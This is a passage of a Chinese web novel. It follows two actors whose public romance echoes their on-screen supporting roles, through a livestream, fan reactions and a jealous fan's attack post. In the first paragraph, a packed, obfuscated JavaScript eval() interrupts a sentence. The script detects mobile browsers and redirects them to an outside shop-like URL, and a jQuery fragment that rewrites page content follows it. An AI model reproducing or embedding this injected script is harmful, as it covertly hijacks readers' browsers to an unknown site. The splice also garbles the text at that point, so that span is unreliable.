「我们的幸运草会一直守护着杬祝姐，也会一直守护着这份美好的爱情！」 夜色再次笼罩了影视城，陈杬祝和江殇手牵手走在复古巷弄里。巷尾的“春夏花店”已经熄灯，只有橱窗里的向日葵，还在散发着淡淡的光晕。 “你说，林春夏和嵇司屿的未来，会是什么样子？”陈杬祝靠在江殇的肩膀上，轻声问道。 “他们会一起经营这家花店，嵇司屿会在门口画画，林春夏会在里面修剪花草。”江殇的声音温柔得能溺死人，“就像我们一样。” 陈杬祝抬头看向他，眼底满是笑意：“那我们的未来呢？” “我们的未来，会比他们更美好。”江殇低头，在她的额头上印下一个轻柔的吻，“我会陪你看遍山川湖海，共度岁岁年年。” 巷弄里的路灯，将两人的身影拉得很长很长。他们的手握在一起，指尖的温度，温暖了整个深秋的夜晚。 陈杬祝知道，戏里的林春夏和嵇司屿，是彼此生命里的过客，却也是彼此心里最珍贵的回忆。而戏外的陈杬祝和江殇，会是彼此生命里的主角，会一起走过未来的每一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037614|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路。 直播间的倒计时数字跳转到“0”的瞬间，屏幕瞬间被密密麻麻的弹幕刷屏，粉色与金色的应援特效铺满了整个界面。陈杬祝刚对着镜头弯起嘴角，江殇就自然地替她理了理耳后的碎发，动作熟稔又温柔——这是他们公开恋情后，第一次以“情侣”身份合体直播，主题是为新剧《配角人生》做宣传，却被粉丝们戏称为“年度最甜撒糖现场”。 背景板是《配角人生》的复古巷弄海报，林春夏的花店与嵇司屿的画筒遥遥相对。陈杬祝穿着米白色的针织衫，袖口挽到小臂，露出纤细的手腕；江殇则是一件简约的黑色衬衫，领口微敞，两人并肩坐在沙发上，连坐姿都透着难以言喻的默契。 “哈喽大家好，我是陈杬祝，也是《配角人生》里的林春夏。”陈杬祝的声音清甜，对着镜头挥了挥手，目光扫过弹幕，忍不住笑出了声，“大家的热情我们收到啦，弹幕都快要看不清了。” 江殇侧头看她，眼底的笑意藏都藏不住，跟着开口：“大家好，我是江殇，饰演嵇司屿。今天除了宣传新剧，也想和大家聊聊天。” 他的话音刚落，弹幕瞬间又掀起一波高潮。 「救命！江老师看杬祝的眼神也太宠了吧！这就是真情侣的氛围感吗！」 「林春夏和嵇司屿冲鸭！剧里的意难平终于在剧外圆满了！」 「请问两位老师，直播的时候可以不克制吗？想多看点互动！」 「刚刷完雨夜告别那场戏，哭成狗！求两位老师现场还原一下甜蜜片段！」 主持人适时接过话题，笑着问道：“两位老师这次在剧里饰演的是一对配角情侣，戏份不多但后劲十足，能和大家分享一下第一次看到剧本时的感受吗？” 陈杬祝指尖轻轻敲了敲膝盖，回忆道：“我当时看到林春夏这个角色，第一感觉就是心疼。她很温柔，也很坚韧，明明深爱着嵇司屿，却因为不想成为他的牵绊，主动放他去追求梦想。但后来看到结局，又觉得很温暖，原来有些爱，真的能跨越时间和距离。” “我和杬祝的感受差不多。”江殇接过话头，目光落在陈杬祝身上，声音不自觉地放柔，“嵇司屿是个很内敛的人，他的世界原本是灰色的，直到遇到林春夏，才出现了光亮。向日葵是他们的信物，也是嵇司屿的希望。其实拿到剧本的时候，我就和导演提议，能不能加一场戏——五年后嵇司屿回来，手里拿的不是画，而是一束向日葵。” “哇！”主持人忍不住惊呼，“所以剧里那个向日葵的细节，是江老师的提议吗？” 江殇点了点头，笑了笑：“对，因为我觉得，对于嵇司屿来说，林春夏就是他的向日葵，永远朝着太阳，也永远照亮他的世界。” 陈杬祝听到这里，脸颊微微泛红，偷偷看了他一眼，正好撞进他温柔的目光里，两人相视一笑，空气里仿佛都飘着甜甜的气息。 弹幕瞬间炸开了锅。 「啊啊啊！江老师你好会啊！这是什么神仙告白！」 「向日葵的寓意也太好哭了！林春夏是嵇司屿的光，杬祝也是江老师的光吧！」 「真情侣就是好啊！连说角色都能撒糖！我磕晕了！」 「求两位老师现场演示一下剧里的名场面！比如向日葵那场！」 主持人顺着粉丝的意愿，提议道：“既然大家这么热情，不如两位老师现场还原一下‘向日葵初遇’的名场面吧？我们这里也准备了道具哦。” 工作人员很快端上一支金灿灿的向日葵和一张皱巴巴的纸币。陈杬祝立刻进入状态，微微侧身，做出修剪花草的动作，声音温柔得像春水：“先生，要买花吗？” 江殇也收起了笑意，眉头微蹙，将嵇司屿的窘迫与无措演绎得淋漓尽致。他攥着纸币，声音沙哑：“我……我只有五块钱，能买什么？” 陈杬祝“站起身”，从工作人员手里接过向日葵，递到他面前，眼底盛着笑意：“五块钱，买一支向日葵吧。你看，它永远朝着太阳。” 就在江殇伸手去接向日葵的瞬间，他突然改了剧本，没有接过花，而是握住了陈杬祝的手，目光灼灼地看着她，声音里满是戏外的深情：“可是对于我来说，你才是那支永远照亮我的向日葵。” 陈杬祝显然没料到他会突然加戏，先是愣了一下，随即眼眶微微泛红，嘴角却忍不住向上扬起。 直播间的特效瞬间铺满屏幕，弹幕的刷新速度快到肉眼无法捕捉。 「卧槽！江老师你犯规了！这是直播啊！」 「救命！我要被甜晕了！这波突然加戏我给满分！」 「杬祝的表情也太真实了！从惊讶到害羞，这就是爱情的样子吧！」 「谁懂啊！剧里的意难平，剧外被他们用这种方式圆满了！」 主持人适时出来打圆场，笑着说：“看来江老师不仅入戏深，对杬祝老师的感情也很深啊！那接下来，我们来回答一下粉丝的问题吧。第一个问题是，两位老师在拍摄过程中，有没有什么印象深刻的趣事？” 陈杬祝率先开口，眼底满是笑意：“印象最深刻的应该是雨夜告别那场戏。当时雨下得很大，我穿的棉布裙很薄，拍了几条之后就冻得直发抖。江殇就把他的外套披在我身上，还偷偷给我递了一杯热姜茶，结果被导演抓包，说我们‘戏外的糖比戏里还甜’。” 江殇跟着点头，补充道：“还有一场戏，是嵇司屿在花店门口画画。剧本里写的是他画花店的样子，结果我画着画着，就忍不住画了杬祝的侧脸。后来导演看到了，还特意把那幅画加进了剧里，就是结局嵇司屿送给林春夏的那幅。” “哇！原来那幅画是江老师亲手画的吗？”主持人惊讶地问道。 “对，”江殇点了点头，目光温柔地看着陈杬祝，“那是我第一次画她，虽然画得不算完美，但却是我最满意的一幅作品。” 陈杬祝听到这里，再也忍不住，伸手轻轻捶了捶他的肩膀，声音里带着一丝娇嗔：“你怎么什么都跟大家说啊。” 江殇握住她的手，放在唇边轻轻吻了一下，眼底的笑意更浓了：“因为我想让所有人都知道，我有多爱你。” 直播间的气氛瞬间达到了顶峰，粉丝们的尖叫声仿佛要透过屏幕传出来。 接下来的时间里，两人又回答了粉丝的诸多问题，从拍戏时的小细节，到生活中的小习惯，每一个回答都充满了甜蜜。陈杬祝说江殇会在她熬夜看剧本时，默默给她端来一杯热牛奶；江殇说陈杬祝会在他拍戏压力大时，陪他去公园散步，听他倾诉烦恼。 直播接近尾声时，主持人提议两人给粉丝们送上一段祝福。 陈杬祝对着镜头，笑容温柔：“首先，感谢大家对《配角人生》的支持，希望大家能喜欢林春夏和嵇司屿的故事。其次，也希望大家能勇敢地追求自己的幸福，就像向日葵一样，永远朝着太阳的方向。” 江殇接过话头，目光坚定：“我想对杬祝说，谢谢你出现在我的生命里，成为我的光。也想对大家说，珍惜身边的人，不要让爱成为遗憾。最后，希望大家能继续支持我和杬祝，我们会用更好的作品来回报大家的喜爱。” 说完，两人一起对着镜头鞠了一躬。 直播结束的提示音响起时，屏幕上的弹幕还在不断滚动。陈杬祝刚想松一口气，江殇就突然伸手将她揽入怀中，低头在她的额头上印下一个轻柔的吻。 “直播已经结束了。”江殇的声音温柔得能滴出水来。 陈杬祝的脸颊瞬间泛红，轻轻推了推他：“你怎么连直播结束了都要撒糖啊。” “因为我想让所有人都知道，你是我的。”江殇紧紧地抱着她，声音里满是坚定。 直播间的录屏很快被粉丝们传到了网上，相关的词条#陈杬祝江殇直播撒糖# #江殇你是我的向日葵# #配角人生剧外圆满# 迅速占领了热搜前排。 粉丝们的评论和点赞像潮水一样涌来，满是祝福。 「我的天！这是什么神仙直播！甜得我牙疼！」 「江老师的那句‘你才是我的向日葵’，我能记一辈子！」 「真情侣就是好啊！连直播都能撒糖撒到这种程度！」 「林春夏和嵇司屿的意难平，终于在剧外被他们圆满了！」 「祝杬祝和江老师永远幸福！要一直甜下去啊！」 陈杬祝的微博上，发了一张她和江殇在直播间的合照，配文：「直播很开心，和你一起的每一刻，都很开心。@江殇」 江殇转发了这条微博，配文：「余生漫漫，皆是你。」 沈司南、许祭、绫司司等人也纷纷在评论区送上祝福。 沈司南：「杬祝姐！江殇哥！你们的直播太甜了！我和许祭都看呆了！」 许祭：「恭喜直播顺利结束。」 绫司司：「我的天！这波撒糖我给满分！祝你们永远甜甜蜜蜜！」 陈杬祝的小号@一颗幸运草里，也多了一条动态。她发了一张向日葵的照片，配文：「今日份小幸运，是和你一起，在千万人面前，分享我们的爱。[心]」 这条动态发出后，评论区里瞬间被粉丝的暖心留言淹没。 「呜呜呜！杬祝姐的小号又更新了！这句话说得太好了！」 「和你一起，在千万人面前，分享我们的爱！太甜了！」 「今日份小幸运，是看到杬祝姐和江老师的甜蜜直播！」 「我们的幸运草会一直守护着杬祝姐，也会一直守护着这份美好的爱情！」 夜色渐深，陈杬祝和江殇手牵手走在回家的路上。路灯的光线落在他们身上，将两人的身影拉得很长很长。 “今天的直播，你开心吗？”陈杬祝抬头看向江殇，眼底满是笑意。 “开心。”江殇低头看着她，声音温柔得能溺死人，“只要和你在一起，做什么都开心。” 陈杬祝靠在他的肩膀上，嘴角挂着甜甜的笑容。“我也是。” 晚风轻轻吹过，带着淡淡的花香。两人的手握在一起，指尖的温度，温暖了整个夜晚。 陈杬祝知道，戏里的林春夏和嵇司屿，是彼此生命里的光。而戏外的陈杬祝和江殇，会是彼此生命里的主角，会一起走过未来的每一段路。 这一切，都是最好的阴谋。 28. 内讧 夜色如墨，晕染开城市的霓虹，两人的影子被路灯拉得缱绻缠绵，交叠在铺满梧桐落叶的人行道上。陈杬祝的指尖勾着江殇的小指，步伐轻轻浅浅，和着晚风的节奏，连呼吸都带着甜意。 “刚才直播的时候，你突然改剧本那一下，我真的吓到了。”陈杬祝侧头看他，眼底的星光比路边的街灯还要亮，“当时脑子里一片空白，只记得你的眼睛，好像装了整个宇宙的温柔。” 江殇停下脚步，转身将她圈进怀里，下巴抵在她的发顶，鼻尖萦绕着她发间淡淡的栀子花香。“我等不及了。”他的声音低沉而沙哑，带着一丝连自己都未察觉的急切，“戏里的嵇司屿用了五年才找回他的向日葵，戏外的我，不想再让任何人误会，你是我的。” 陈杬祝的脸颊贴在他的胸口，听着他有力的心跳，嘴角的笑意止不住地蔓延。她抬手环住他的腰，将自己更深地埋进他的怀抱，声音闷闷的：“那你以后可不许再突然加戏了，我怕我的心跳声太大，被直播间的粉丝听到。” “好。”江殇轻笑出声，指尖轻轻摩挲着她的后背，“不过，要是粉丝要求的话，我可以考虑。” “你！”陈杬祝抬起头，假装生气地瞪了他一眼，却在看到他眼底的宠溺时，瞬间破功，忍不住笑了出来。 两人继续往前走，路过一家还亮着灯的便利店。陈杬祝的脚步顿了顿，眼睛亮晶晶地看着江殇：“我想喝热可可。” “走。”江殇毫不犹豫地牵着她的手走了进去。 便利店的暖光洒在两人身上，带着温馨的烟火气。陈杬祝站在冰柜前，认真地挑选着口味，江殇则站在她的身后，目光寸步不离地跟着她，嘴角的笑意从未消失。 “老板，两杯热可可，谢谢。”江殇接过店员递来的热饮，将其中一杯递给陈杬祝，又细心地帮她拧开杯盖，“小心烫。” 陈杬祝接过热可可，抿了一小口，温热的液体顺着喉咙滑下，暖了整个身子。她看着江殇，突然想起了什么，笑着说：“你知道吗？刚才直播的时候，有粉丝问我们，以后会不会合作一部主角的戏。” “我知道。”江殇点了点头，眼底闪过一丝认真，“我已经让经纪人留意了，只要是和你一起，主角还是配角，我都无所谓。” 陈杬祝的心猛地一颤，抬头看向他，眼眶微微泛红。她知道，江殇作为实力派演员，从不缺优质的主角资源，可他却愿意为了她，不在乎角色的大小。 “江殇。”她轻声唤他的名字，声音里带着一丝哽咽。 “嗯？”江殇低头看她，伸手拭去她眼角的泪珠，声音温柔得能滴出水来，“怎么了？是不是热可可太甜了？” “不是。”陈杬祝摇了摇头，吸了吸鼻子，“我只是觉得，我好幸运。” “幸运的人是我。”江殇握住她的手，放在唇边轻轻吻了一下，“能遇到你，是我这辈子最大的幸运。” 两人走出便利店，继续往家的方向走。热可可的温度从掌心传来，暖了手，也暖了心。 回到家，陈杬祝换了一双毛茸茸的拖鞋，将自己摔进柔软的沙发里，长长地舒了一口气。“终于到家了，今天直播了两个小时，累死我了。” 江殇跟在她身后，换了拖鞋，走到沙发边，弯腰将她揽进怀里，轻轻揉着她的肩膀。“累了就早点休息。” “不要。”陈杬祝摇了摇头，伸手勾住他的脖子，将他拉到自己身边坐下，“我还想看一下粉丝的评论，看看他们都在说什么。” 江殇无奈地笑了笑，拿起放在茶几上的平板，递给她。“看吧，不过只能看十分钟，然后必须去睡觉。” “好。”陈杬祝乖巧地点了点头，接过平板，熟练地打开微博。 热搜榜上，关于他们的词条还在居高不下。#陈杬祝江殇直播撒糖# 已经冲到了热搜第一，后面还跟着一个滚烫的“爆”字。#江殇你是我的向日葵# #配角人生剧外圆满# #江殇亲手画陈杬祝侧脸# 等词条也占据了热搜前排。 陈杬祝点进自己的微博，那条和江殇的合照微博，转发量和评论量已经突破了百万。评论区里，满是粉丝的祝福和调侃。 「救命！这张合照也太甜了吧！杬祝姐的笑容好温柔，江老师的眼神好宠溺！」 「余生漫漫，皆是你！江老师的这句文案，我能记一辈子！」 「真情侣就是好啊！连微博互动都这么甜！我磕晕了！」 「祝杬祝姐和江老师永远幸福！要一直甜下去啊！」 陈杬祝又点开了自己的小号，那条向日葵的动态，评论量也已经过万。粉丝们的留言，暖心又治愈。 「呜呜呜！杬祝姐的小号又更新了！这句话说得太好了！」 「和你一起，在千万人面前，分享我们的爱！太甜了！」 「今日份小幸运，是看到杬祝姐和江老师的甜蜜直播！」 「我们的幸运草会一直守护着杬祝姐，也会一直守护着这份美好的爱情！」 陈杬祝的嘴角一直挂着甜甜的笑容，手指滑动着屏幕，看着粉丝们的留言，心里暖暖的。 “看什么呢，这么开心？”江殇低头看她，声音温柔。 “看粉丝们的评论啊。”陈杬祝抬头看向他，将平板递到他面前，“你看，大家都在祝福我们呢。” 江殇接过平板，扫了一眼屏幕，眼底的笑意更浓了。“他们说得对，我们会一直幸福的。” 十分钟很快就到了，江殇收起平板，伸手将陈杬祝打横抱起。“时间到了，该去睡觉了。” “哎！”陈杬祝惊呼一声，下意识地搂住他的脖子，脸颊瞬间泛红，“你放我下来，我自己能走。” “不累了？”江殇挑眉看她，脚步却没有停下，径直朝着卧室走去。 “我……”陈杬祝一时语塞，只能乖乖地靠在他的怀里，感受着他坚实的臂膀和温暖的体温。 卧室里，暖黄色的灯光洒在柔软的大床上，带着温馨的气息。江殇将陈杬祝轻轻放在床上，弯腰替她盖好被子。 “你也早点休息。”陈杬祝看着他，声音轻柔。 “好。”江殇点了点头，转身想去浴室洗漱，却被陈杬祝拉住了手。 “怎么了？”他回头看她。 “陪我躺一会儿。”陈杬祝的声音带着一丝撒娇的意味。 江殇的心瞬间软成一滩水，他毫不犹豫地掀开被子，躺在她的身边，将她揽入怀中。“睡吧。” 陈杬祝靠在他的胸口，听着他有力的心跳，很快就有了睡意。她迷迷糊糊地开口：“江殇，明天我们去看电影吧。” “好。” “我还想去吃那家新开的火锅。” “好。” “我还想……” 陈杬祝的声音越来越小，最后彻底没了声息，呼吸也变得均匀而绵长。 江殇低头看了看怀中人熟睡的脸庞，嘴角勾起一抹温柔的笑意。他轻轻吻了吻她的额头，声音低沉而温柔：“晚安，我的向日葵。” 窗外，夜色正浓，星光璀璨。卧室里，两人相拥而眠，空气中弥漫着甜甜的气息。 第二天一早，陈杬祝是被窗外的阳光晒醒的。她睁开眼，映入眼帘的是江殇熟睡的脸庞。他的睫毛很长，鼻梁高挺，嘴唇的线条完美，安静的样子，像一幅精心绘制的油画。 陈杬祝不忍心吵醒他，便安静地靠在他的怀里，看着他的睡颜，嘴角的笑意止不住地蔓延。 不知过了多久，江殇终于醒了。他睁开眼，看到怀中人正目不转睛地看着自己，眼底闪过一丝迷茫，随即被温柔取代。“醒了？” “嗯。”陈杬祝点了点头，声音带着刚睡醒的沙哑，“早。” “早。”江殇低头吻了吻她的额头，“饿不饿？我去做早餐。” “饿。”陈杬祝乖巧地点了点头，“我想吃你做的煎蛋和牛奶。” “好。”江殇笑着揉了揉她的头发，起身去了厨房。 陈杬祝躺在床上，听着厨房传来的轻微声响，心里暖暖的。她拿出手机，点开微博，发现沈司南艾特了她和江殇。 沈司南发了一条微博，内容是一张他和许祭的合照，两人的脸上都带着夸张的笑容，配文：「昨天看了杬祝姐和江殇哥的直播，被甜得齁到了！今天必须和许祭出来吃顿火锅，解解腻！@陈杬祝 @江殇」 陈杬祝忍不住笑了出来，给沈司南点了个赞，又评论了一句：「下次一起去吃。」 很快，沈司南就回复了：「好啊好啊！杬祝姐和江殇哥一定要来！」 陈杬祝放下手机，起身走到窗边，拉开窗帘。阳光瞬间涌了进来，洒在她的身上，暖洋洋的。 她看着窗外的蓝天白云，听着厨房传来的声响，突然觉得，这样的生活，真的很美好。 不一会儿，江殇就端着早餐走了进来。“早餐做好了，快来吃吧。” “好。”陈杬祝笑着走了过去，坐在餐桌前。 餐桌上，摆着两份煎蛋、两杯牛奶，还有一盘新鲜的水果。煎蛋的边缘金黄酥脆，蛋黄是流心的，看起来诱人极了。 “快吃吧。”江殇将一杯牛奶推到她的面前。 陈杬祝拿起叉子，叉起一小块煎蛋，放进嘴里。外酥里嫩的口感，带着浓浓的蛋香，好吃得让她眯起了眼睛。“好吃！” “喜欢就多吃点。”江殇看着她，眼底满是笑意。 两人安静地吃着早餐，空气中弥漫着温馨的气息。 吃完早餐，两人简单地收拾了一下，便出门了。 他们没有去看电影，也没有去吃火锅，而是手牵手走在了公园里。阳光透过树叶的缝隙，洒在地上，形成一片片斑驳的光影。公园里，到处都是晨练的老人和玩耍的孩子，充满了生机与活力。 “你看，那只小狗好可爱。”陈杬祝指着不远处一只正在追蝴蝶的小狗，眼睛亮晶晶的。 “喜欢吗？”江殇低头看她。 “喜欢。”陈杬祝点了点头，“不过，我更喜欢你。” 江殇的心猛地一颤，他停下脚步，转身将她拥入怀中，低头吻住了她的唇。 这个吻，温柔而缠绵，带着阳光的味道和青草的芬芳。 陈杬祝的脸颊瞬间泛红，她伸手环住他的脖子，回应着他的吻。 不知过了多久，两人才依依不舍地分开。陈杬祝靠在他的怀里，大口地喘着气，脸颊红得像熟透的苹果。 “你……”她刚想开口，却被江殇再次吻住。 这一次，吻得更加深沉，更加炙热。 周围的一切仿佛都静止了，只剩下两人的心跳声和呼吸声。 阳光洒在他们身上，将两人的身影拉得很长很长。 陈杬祝知道，戏里的林春夏和嵇司屿，用五年的时间，换来了一生的相守。而戏外的陈杬祝和江殇，会用一辈子的时间，去守护这份来之不易的爱情。 他们会一起看遍世间的风景，一起经历人生的风雨，一起走过未来的每一段路。 苏徽玉的微博更新提示弹出时，正赶上陈杬祝和江殇公园拥吻的路透图刚在粉丝群里传开。没有精致配图，没有文案铺垫，只有一段带着戾气的文字，像一把猝不及防的刀，划破了全网甜蜜的氛围： 「有些人啊，天生就该是聚光灯的中心，陈杬祝就是陈杬祝，她的光芒从来都不需要任何人来衬托。倒是某些人，前脚借着配角的戏份捆绑营销，后脚又靠着公开恋情疯狂刷存在感，到底是爱得深沉，还是蹭热度的本事登峰造极？??♀?」 这条来自素人账号的微博，没有认证加持，没有大V转发，却因为精准点出了两个顶流的名字，在短短五分钟内，被截图转发到了各个娱乐超话和粉丝群。 评论区先是一片错愕，随即炸开了锅： 「？？？这个苏徽玉是谁啊？怎么突然内涵起杬祝姐和江殇哥了？」 「陈杬祝就是陈杬祝这句话没毛病，但后面踩江殇蹭热度是什么意思？」 「我记得这个ID！之前在杬祝姐的小号评论区还留过言，说要守护杬祝姐的爱情，怎么突然变脸了？」 「素人也敢来碰瓷顶流？江殇老师哪里蹭热度了？《配角人生》的向日葵细节是他提的！那幅侧脸画是他亲手画的！明明是双向奔赴啊！」 「有没有一种可能，是私生饭或者毒唯？看不得正主谈恋爱，就开始挑拨离间？」 「别吵了别吵了！先去看看这个苏徽玉的主页，到底是什么来头！」 有人点进苏徽玉的微博主页，发现这是一个关注数不足千人的小号，日常内容大多是分享生活碎片，偶尔会发一些关于陈杬祝的应援动态，字里行间都透着对陈杬祝的喜欢。可就在最近一周，她的微博内容开始变得奇怪，字里行间都带着对江殇的不满，只是当时没人在意。 十分钟后，#苏徽玉内涵江殇蹭热度# #陈杬祝就是陈杬祝# 两条词条就以惊人的速度爬上了热搜榜尾，并且还在持续攀升。粉丝们一边忙着举报这条引战微博，一边在超话里安抚大家的情绪，生怕事情发酵，影响到陈杬祝和江殇的心情。 而此时的苏徽玉，正蜷缩在出租屋的单人沙发上，眼睛死死地盯着手机屏幕。屏幕的光映在她脸上，一半是疯狂的红，一半是阴暗的黑。她的手里攥着一张已经被揉皱的照片，照片上是陈杬祝和她的合影——那是去年陈杬祝参加线下活动时，她鼓足勇气上前求的合照，当时陈杬祝温柔地笑着，还和她说了一句「谢谢你的支持」。 就是这句温柔的话，支撑着她走过了无数个难熬的日夜。她曾以为，自己是最懂陈杬祝的人，知道她从十八线小透明走到今天有多不容易，知道她有多渴望一份纯粹的爱情。 可当她看到陈杬祝和江殇公开恋情的消息，看到他们在直播间里肆无忌惮地撒糖，看到全网都在祝福他们「永远幸福」时，她的心里像被什么东西狠狠扎了一下。 「凭什么？」她对着空无一人的房间，喃喃自语，声音里带着哭腔，「陈杬祝明明那么好，她的光芒那么耀眼，为什么要和江殇这种人在一起？他根本就是在利用她！他就是想蹭她的热度！」 她想起自己熬夜给陈杬祝做的应援海报，想起自己跑遍大半个城市只为给陈杬祝送一份亲手做的礼物，想起自己在陈杬祝被黑时，熬夜和黑粉对线的日子。可这一切，在江殇出现后，似乎都变得不值一提。 她越想越委屈，越想越愤怒，手指不受控制地在键盘上敲下了那段话，几乎是没有任何犹豫，就点击了发送。 发送成功的提示弹出时，她的心跳快得像是要跳出胸膛。她既期待着有人能看到她的「心声」，又害怕着事情会朝着不可控的方向发展。 她不断刷新着微博评论，看着越来越多的人开始质疑她的身份，开始维护江殇，她的情绪彻底失控了。她抓起桌上的水杯，狠狠摔在地上，玻璃碎片溅了一地。 「你们都不懂！」她歇斯底里地喊道，「你们都被江殇骗了！他根本就不配拥有陈杬祝！」 出租屋的墙壁很薄，隔壁邻居的敲门声很快传来，带着不耐烦的呵斥：「大白天的吵什么吵！还让不让人休息了！」 苏徽玉瞬间安静下来，她蜷缩在沙发上，抱着膝盖，眼泪无声地滑落。手机屏幕上，关于她的讨论还在继续，而她的微博私信，已经被愤怒的粉丝们刷屏。 而另一边，正在公园里享受二人世界的陈杬祝和江殇，还不知道网上已经掀起了轩然大波。 江殇正牵着陈杬祝的手，沿着湖边的小路慢慢走着。阳光洒在湖面上，波光粼粼，像撒了一把碎金子。不远处的天鹅群悠闲地游着，姿态优雅。 「你看，那只小天鹅，跟在妈妈后面好可爱。」陈杬祝指着湖面上的一只小天鹅，眼睛亮晶晶的，语气里满是欢喜。 江殇顺着她指的方向看去，温柔地笑了笑：「等以后我们有时间，可以来这里喂天鹅。」 「好啊。」陈杬祝点了点头，靠在他的肩膀上，嘴角挂着甜甜的笑容，「我想和你一起做很多很多事情。」 「我也是。」江殇低头吻了吻她的发顶，声音温柔得能溺死人，「余生的每一件事，都想和你一起做。」 就在这时，陈杬祝的手机突然响了起来，是她的经纪人打来的。 「喂，姐。」陈杬祝接起电话，声音里还带着一丝笑意。 电话那头，经纪人的声音却带着明显的焦急：「杬祝，你现在赶紧看一下微博！有个叫苏徽玉的素人，发了一条微博内涵江殇蹭你的热度！现在网上已经炸开锅了，粉丝们都在问要不要回应！」 陈杬祝的笑容瞬间僵在脸上，她的心里咯噔一下，一股不好的预感瞬间涌上心头。她连忙说道：「好，我马上看。」 挂了电话，陈杬祝立刻拿出手机，点开微博。当她看到苏徽玉发的那条微博时，瞳孔猛地一缩，脸上的血色瞬间褪去，手指也忍不住微微颤抖。 「怎么了？」江殇注意到她的不对劲，连忙停下脚步，伸手扶住她的肩膀，语气里满是担忧，「是不是出什么事了？」 陈杬祝抬起头，看着江殇，眼底满是不可置信和难过，声音也带着一丝颤抖：「江殇，有个叫苏徽玉的人……她说你蹭我的热度。」 陈杬祝的微博更新提示几乎是和绫司司的同步弹出，两条动态一前一后，瞬间压下了热搜上的喧嚣，将全网的注意力重新拉回了最温暖的轨道。 陈杬祝的微博依旧是那张她和江殇在直播间的合照，只是配文多了几分郑重与温柔，@的列表里除了江殇，还多了绫司司： 「阳光很好，我们很好。感谢大家的关心，也想和大家说，江殇从不是所谓的“蹭热度”，他是我生命里的光，是我毫不犹豫想要并肩同行的人。@绫司司是我认识很多年的好朋友，我们的情谊不会被任何流言蜚语影响。也请大家不要去打扰素人朋友的生活，尊重每一份相遇与陪伴。@江殇 [心]」 配图里，她和江殇的手紧紧交握，无名指上的素圈戒指在阳光下闪着细碎的光，角落里还悄悄藏了一张她和绫司司的旧照——那是两人刚认识时在校园里的合影，穿着同款的白色T恤，笑得眉眼弯弯。 几乎是同一时间，绫司司的微博也更新了。她的主页向来热闹，这次却罕见地用了一张纯色背景图，配文简洁却有力，同样@了陈杬祝： 「陈杬祝是我的好朋友，她的幸福，是我最想守护的事情。关于网上的流言，我只想说，真正的朋友，从来都懂彼此的选择，也信彼此的眼光。江殇先生是值得杬祝去爱的人，那些无端的揣测，就到此为止吧。@陈杬祝 我们的约定，永远算数。」 两条微博发出的瞬间，全网的节奏瞬间被扭转。 陈杬祝的评论区里，原本还在争论的粉丝瞬间安静下来，满屏都是祝福与理解： 「呜呜呜！杬祝姐的回应好温柔！无名指的戒指我看到了！是求婚了吗？！」 「真正的爱情就是双向奔赴啊！江老师是杬祝姐的光，杬祝姐也是江老师的向日葵！」 「绫司司姐的回应也好快！果然是最好的朋友！那些说她们情谊破裂的可以闭嘴了！」 「尊重素人朋友的生活！我们只需要守护杬祝姐和江老师的幸福就好！」 绫司司的评论区里，也满是粉丝的支持： 「司司姐好样的！果然是杬祝姐最好的朋友！」 「约定永远算数！这是什么神仙友情啊！我哭死！」 「支持司司姐！支持杬祝姐！我们一起守护她们的幸福！」 而此时，正在公园里的陈杬祝，刚挂完和绫司司的电话。 电话那头，绫司司的声音带着一丝后怕：「杬祝，对不起啊，我看到那条微博的时候，差点直接冲过去找那个苏徽玉理论，还好你及时拦住了我。」 「傻瓜，谢什么。」陈杬祝的声音温柔，「我们是朋友啊，这种时候，当然要一起面对。」 「那是自然！」绫司司的声音瞬间恢复了往日的活力，「以后再有人敢说江殇哥的坏话，我第一个冲上去怼他！」 挂了电话，陈杬祝抬头看向江殇，眼底的阴霾已经散去，只剩下温柔的笑意。 江殇伸手揉了揉她的头发，将她揽入怀中，声音低沉而温柔：「辛苦你了。」 「不辛苦。」陈杬祝摇了摇头，靠在他的胸口，「只要和你在一起，什么都不辛苦。」 江殇低头吻了吻她的额头，目光落在她无名指上的戒指上，眼底满是宠溺：「等忙完这阵子，我们就去领证。」 「好。」陈杬祝的脸颊瞬间泛红，声音里带着一丝羞涩，却又无比坚定。 两人的对话被不远处的相机悄悄记录了下来，不过这一次，拍照的是陈杬祝的粉丝，她没有将照片随意发布，而是默默存了起来，心里想着：「一定要好好守护姐姐的幸福。」 而此时的苏徽玉，正蜷缩在出租屋的沙发上，看着陈杬祝和绫司司的微博，手机从手中滑落，掉在地上发出一声闷响。 她的脸上没有任何表情，只是眼睛死死地盯着屏幕，看着那些满是祝福的评论，看着陈杬祝无名指上的戒指，看着绫司司那句「我们的约定，永远算数」。 她突然觉得自己像个跳梁小丑，自以为是的「守护」，在别人眼里，不过是一场可笑的闹剧。 她缓缓捡起手机，手指颤抖着点开自己的微博，看着那条已经被无数人举报的微博，最终还是点击了删除。 删除成功的提示弹出时，她的眼泪终于忍不住滑落，滴在手机屏幕上，晕开了一片模糊的光影。 她知道，自己再也没有资格出现在陈杬祝的世界里了。 而另一边，陈杬祝和江殇已经牵着手，继续沿着湖边的小路走着。 阳光洒在他们身上，将两人的身影拉得很长很长。天鹅群依旧在湖面上悠闲地游着，小天鹅紧紧跟在妈妈的身后，画面温馨而美好。 「你看，它们好像也在祝福我们。」陈杬祝指着湖面上的天鹅群，眼睛亮晶晶的。 「嗯。」江殇点了点头，低头吻了吻她的唇，「全世界都在祝福我们。」 陈杬祝的脸颊微微泛红，她靠在江殇的肩膀上，嘴角挂着甜甜的笑容。 晚风轻轻吹过，带着淡淡的花香。两人的手握在一起，指尖的温度，温暖了整个下午。 陈杬祝知道，未来的路还很长，或许还会有很多的流言蜚语，或许还会有很多的艰难险阻。但只要有江殇在身边，有绫司司这样的好朋友支持，她就什么都不怕。 戏里的林春夏和嵇司屿，用五年的时间，换来了一生的相守。而戏外的陈杬祝和江殇，会用一辈子的时间，去守护这份来之不易的爱情。 陈杬祝是在一个清晨收到《许你金耀》剧本的。 